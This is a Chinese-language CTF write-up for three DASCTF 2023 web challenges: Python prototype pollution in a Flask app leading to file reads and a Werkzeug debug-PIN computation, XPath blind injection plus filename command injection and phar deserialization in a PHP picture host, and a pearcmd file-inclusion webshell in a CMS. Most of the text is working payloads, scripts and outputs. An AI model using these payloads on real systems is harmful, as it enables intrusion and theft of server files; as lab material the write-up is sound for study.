DASCTF 2023 & 0X401七月暑期挑战赛-WEB Writeup

DASCTF 2023 & 0X401七月暑期挑战赛-WEB Writeup

web

EzFlask

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

这题关键点在函数 merge

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这个函数是一个熟悉的原型链污染函数

然后没有见过python原型链污染,所以学习开始

https://tttang.com/archive/1876/

然后污染__file__实现任意文件读取

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

测试一下污染:

user = user()
print(user.__init__.__globals__['__file__'])
payload= {
    "username" : "fuck",
    "password" : "you",
    "__init__" :{
        "__globals__":{
            "__file__":"this is test"
        }
    }
}
merge(payload,user)
print(user.__init__.__globals__['__file__'])
C:\Users\Harder\PycharmProjects\Script\main.py
this is test
 * Serving Flask app 'main'
 * Debug mode: off

first payload:

发现__init__被过滤了,用unicode编码绕过 _ == \u005f

# 注意改为Content-Type: application/json
# 通过修改__file__实现任意文件读取
{
    "username" : "fuck",
    "password" : "you",
    "__init_\u005f" :{
        "__globals__":{
            "__file__":"/etc/passwd"
        }
    }
}

second payload:

_static_url_path

这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回

__init__被禁止,json识别unicode编码绕过

# 注意改为Content-Type: application/json
{
    "username" : "fuck",
    "password" : "you",
    "__init_\u005f" :{
        "__globals__":{
            "app":{
				"_static_folder":"/"
            }
        }
    }
}
# 用/static/xxx下载任意文件

然后读取发现处于debug模式想到了写pin码,访问路由console

写pin码的exp需要找到对应的版本,网卡地址卡了我半天,然后需要找到对应版本的pin码生成过程

可以去这个网址看https://github.com/pallets/werkzeug/blob/2.0.x/src/werkzeug/debug/init.py#L43

import hashlib
from itertools import chain

# werkzeug2.0x 高版本
probably_public_bits = [
    'root'  # username   /etc/passwd里面找用户
    'flask.app',  # modname  默认值
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'       #etattr(mod, '__file__', None),  报错得到,moddir
]
"""
private_bits参数一 :str(uuid.getnode()), 读 /sys/class/net/ens0/address  /sys/class/net/eth0/address  b2:7d:55:14:ad:f1
private_bits参数二 :# 一.get_machine_id(), 读/etc/machine-id  二.读 /proc/self/cgroup
"""

a = str(int("b2:7d:55:14:ad:f1".replace(":",""),16))
print(a)
private_bits = [
    str(int("b2:7d:55:14:ad:f1".replace(":", ""),16)),
    '96cec10d3d9307792745ec3b85c89620'+'docker-fdcea420d972705e3e38b080e3ae658492f05756c6ed9d786b26b2b1b39d46e5.scope'
]

# 源码里面的
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.

rv = None

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

生成pin码:135-940-781

import os
os.popen('ls /').read()
# 'app\nbin\nboot\ndev\netc\nflag123123_is312312312_here3123213\nhome\nl  
os.popen('cat /flag123123_is312312312_here3123213').read()

非预期解:

读环境变量  /proc/1/environ

DASCTF{489d78ce-1068-4b76-b3e9-d0049cff32cc}

扩展练习:
CTFSHOW 801
[GYCTF2020]FlaskApp
HSCSEC-2TH EZFLASK

MyPicDisk

考点:Xpath注入&&文件名注入&&phar反序列化&&

这里可以万能密码登陆,但是要用BP发包,可以下载 /y0u_cant_find_1t.zip源码

<?php
session_start();
error_reporting(0);
class FILE{   //file
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");    
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);   // this->filename shell ???
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');   // xml secret
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";   //xpath查询
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";   // file = 
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {   //回溯机制绕过 但是这里为get方法
        die("hacker!");          // 文件名后缀绕过
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {    
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];         //
      if ($_GET['todo'] === "md5"){      
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";  //删除可以用条件竞争? 
          } else if ($_GET['todo'] === "show") {
              $file->show();                                        
          }
      }
  }
}
?>
</body>
</html>

XPath盲注原理

https://blog.csdn.net/qq_63701832/article/details/129777163

和sql盲注原理相似,但是要注意判断节点

这里有贴一个大佬的脚本:

import requests
import time
url ='http://5af02f69-5563-4d7c-a665-736452e37077.node4.buuoj.cn:81/index.php'


strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        #猜测根节点名称 #accounts
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123,"submit":"1"}  accounts
        # payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)

        #猜测子节点名称 #user
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        # payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)   user



        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、
        # payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)


        payload_username ="'or substring(/accounts/user/password/text(), {}, 1)='{}' or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)


        if "登录成功!" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

然后讲爆出来的字符串进行md5解密,用somd5在线解密网站来

003d7628772d6b57fec5f30ccbc82be1  ==>  15035371139

直接登陆,看到一个文件上传界面

法一

    public function __destruct(){
        system("ls -all ".$this->filename);   // this->filename shell ???
    }

这里有文件名命令注入

;echo bHMgLw===|base64 -d|bash;test.png
total 12 -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 ';.jpg drwxrwxrwx 1 www-data www-data 4096 Aug 21 15:17 . drwxr-xr-x 1 root root 18 Oct 13 2020 .. -rw-r--r-- 1 www-data www-data 0 Aug 21 15:15 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:17 ;echo bHMgLw===|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo 'hello';.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:16 echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo;.jpg -rw-rw-r-- 1 root root 3575 Jul 19 08:49 index.php -rw-r--r-- 1 www-data www-data 0 Aug 21 15:09 ppp.jpg -rw-rw-r-- 1 root root 1475 Jul 19 08:49 y0u_cant_find_1t.zip adjaskdhnask_flag_is_here_dakjdnmsakjnfksd bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 
;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png
remove
show
total 12 -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 ';.jpg drwxrwxrwx 1 www-data www-data 4096 Aug 21 15:17 . drwxr-xr-x 1 root root 18 Oct 13 2020 .. -rw-r--r-- 1 www-data www-data 0 Aug 21 15:15 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:17 ;echo bHMgLw===|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo 'hello';.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:16 echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo.jpg -rw-r--r-- 1 www-data www-data 0 Aug 21 15:13 echo;.jpg -rw-rw-r-- 1 root root 3575 Jul 19 08:49 index.php -rw-r--r-- 1 www-data www-data 0 Aug 21 15:09 ppp.jpg -rw-rw-r-- 1 root root 1475 Jul 19 08:49 y0u_cant_find_1t.zip DASCTF{fe956a03-3c06-4fed-a8d6-78914acd6e1f} 

这个利用Base64解密,管道|符传送,传递给bash命令

让我们分解这个命令的各个部分:

- `echo Y2F0IGZsYWcudHh0`:这部分使用`echo`命令将字符串`Y2F0IGZsYWcudHh0`输出到标准输出。这个字符串是一个经过Base64编码的代码。

- `|base64 -d`:这部分使用管道操作符(`|`)将前一个命令的输出作为输入传递给`base64 -d`命令。`base64 -d`命令用于解码Base64编码的字符串。

- `|bash`:这部分使用管道操作符将前一个命令的输出作为输入传递给`bash`命令。`bash`命令用于执行Shell脚本。

- `test.png`:这部分是一个文件名,可能是作为一个伪装的图片文件名,但在这个命令中并没有被使用。

所以,这个命令的目的是将经过Base64编码的代码解码并传递给`bash`命令执行。由于这段代码是未知的且可能是恶意的,执行此命令可能会导致系统被攻击或受到损害。因此,不建议执行此命令。

法二:

FILE类中的 md5_file() is_file() unlink() 都可以触发phar反序列化

  $filename = $_GET['file'];         
  if ($_GET['todo'] === "md5"){      
      echo md5_file($filename);
  }

<?php

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        $this->filename = $filename;
    }
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();

生成phartest.phar,上传文件phartest.png

http://f84d423a-19fe-44d8-bb31-47929ce3a691.node4.buuoj.cn:81/index.php?file=phar://phartest.png&todo=md5
total 4 drwxr-xr-x 1 root root 89 Aug 22 03:33 . drwxr-xr-x 1 root root 89 Aug 22 03:33 .. -rwxr-xr-x 1 root root 0 Aug 22 03:33 .dockerenv -rw-rw-r-- 1 root root 45 Aug 22 03:33 adjaskdhnask_flag_is_here_dakjdnmsakjnfksd drwxr-xr-x 1 root root 28 Oct 13 2020 bin drwxr-xr-x 2 root root 6 Sep 19 2020 boot drwxr-xr-x 5 root root 360 Aug 22 03:33 dev drwxr-xr-x 1 root root 66 Aug 22 03:33 etc drwxr-xr-x 2 root root 6 Sep 19 2020 home drwxr-xr-x 1 root root 21 Oct 13 2020 lib drwxr-xr-x 2 root root 34 Oct 12 2020 lib64 drwxr-xr-x 2 root root 6 Oct 12 2020 media drwxr-xr-x 2 root root 6 Oct 12 2020 mnt drwxr-xr-x 2 root root 6 Oct 12 2020 opt dr-xr-xr-x 4654 root root 0 Aug 22 03:33 proc drwx------ 1 root root 6 Oct 13 2020 root drwxr-xr-x 1 root root 21 Oct 13 2020 run drwxr-xr-x 1 root root 20 Oct 13 2020 sbin drwxr-xr-x 2 root root 6 Oct 12 2020 srv dr-xr-xr-x 13 root root 0 Mar 28 03:11 sys drwxrwxrwt 1 root root 51 Aug 22 03:38 tmp drwxr-xr-x 1 root root 19 Oct 12 2020 usr drwxr-xr-x 1 root root 17 Oct 13 2020 var DASCTF{e689207b-0456-4db6-a782-681b674b8264} 

DASCTF{fe956a03-3c06-4fed-a8d6-78914acd6e1f}

ez_cms

许多关于cms的漏洞:

https://xz.aliyun.com/t/7629

考点为pearcmd

个人感觉pearcmd的trick没有挖掘完

https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

pearcmd利用前提条件:

1 有文件包含点
2 开启了pear扩展   (可以当他是一个框架)
3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER[‘argv’]生效)
4 找到pear文件的位置,默认位置是/usr/local/lib/php/ 

PEAR扩展默认安装位置是: /usr/local/lib/php/

这题我们看cms版本发现有文件包含漏洞 CMS V1.0 漏洞点为index.php?r=

/admin/index.php和/index.php两处代码一样
<?php //单一入口模式 
error_reporting(0); //关闭错误显示 
$file=addslashes($_GET['r']); //接收文件名 
$action=$file==''?'index':$file; //判断传入参数r是否为空 空的话就给$action赋值index
index include('files/'.$action.'.php'); //文件包含
?>

pearcmd有三种姿势,但是只有这种姿势能打通

/?+config-create+/&r=../../../../../../../../../usr/share/pear/pearcmd&<?=eval($_REQUEST[1]);?>+/tmp/aaa123.php
### 这个在url里面传值会被进行一次urlencode,用BP传避免被urlencode
### 因为上面源码拼接了一个".php" 故下面的payload要把.php去掉
/?r=../../../../../../../../../tmp/aaa123&1=system('cat /flag_you_find_ya');

DASCTF{3a66a909-3e65-4052-94ac-baa3c9ae5308}